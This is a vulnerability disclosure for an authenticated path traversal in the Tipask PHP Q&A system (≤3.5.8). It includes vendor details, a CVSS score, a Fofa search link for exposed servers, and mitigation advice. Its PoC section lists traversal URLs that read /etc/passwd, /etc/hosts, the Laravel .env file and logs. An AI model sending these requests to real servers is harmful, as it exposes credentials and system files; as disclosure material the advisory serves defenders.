1、Intro

  1. Tipask: Tipask is an open source PHP Question&Answer system developed based on the Laravel framework that is easy to scale and has strong load capacity and stability.
  2. Tipask < 3.5.9， which fails to validate the path parameters entered by the user when downloading attachments, **a registered user can download arbitratry file on the Tipask server， **such as .env, /etc/passwd, laravel.log and so on, casuing infomation leakage.
  3. This vulnerability is CREDITED to the following entity：
Qi'An Xin Technology Group, Network Security Department, Product-Security Team

（1）Vendor

Official Site：https://www.tipask.com/

Github Repo：https://github.com/sdfsky/tipask

Source code could be download at：https://www.tipask.com/release/Tipask_v3.5.8_UTF8_20210620.zip

（2）Description

  • Exploitation of the vulnerability needs a attacker to be logged as registered user . By successfully exploiting it, the attacker can download any file on the Tipask server,
  • Affected Version：Tipask ≤ 3.5.8
  • Fofa dork：https://fofa.so/result?qbase64=YXBwPSJUaXBhc2st5YWs5Y%2B45Lqn5ZOBIg%3D%3D
    • 700+ tipask servers in the wild
  • CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N
    • Score：7.7（High）
    • Type：Local File Read
  • Since the vendor has CONFIRMED this vulnerability in 2021/09/17, and has patched it via commit 9b5f13，users are able to apply the patch to avoid this vuln.

2、PoC & EXP

Once you’ve registered and logged in, you can access the following address directly:

PoC

For Linux Server， the PoC is as follows

http://tipask/attach/download/..-..-..-..-..-..-..-etc-hosts

EXP

https://tipask/attach/download/..-..-.env
http://tipask/attach/download/..-logs-laravel.log
http://tipask/attach/download/..-..-..-..-..-..-..-etc-passwd

The vulnerability involves 1 file:

app\Http\Controllers\AttachController.php

path traversal due to no param-check.

Here are sensitive infomation that’s downloaded via the vuln.

Of course，mitigations easy to imply:

  • limiting the directories to be read, such as using basename() to process the user’s input parameters
  • User input parameters is prohibited to contain the 【..】

The vendor has CONFIRMED this vulnerability in 2021/09/17, and has patched it via commit 9b5f13，users are able to apply the patch to avoid this vuln.

3、Reference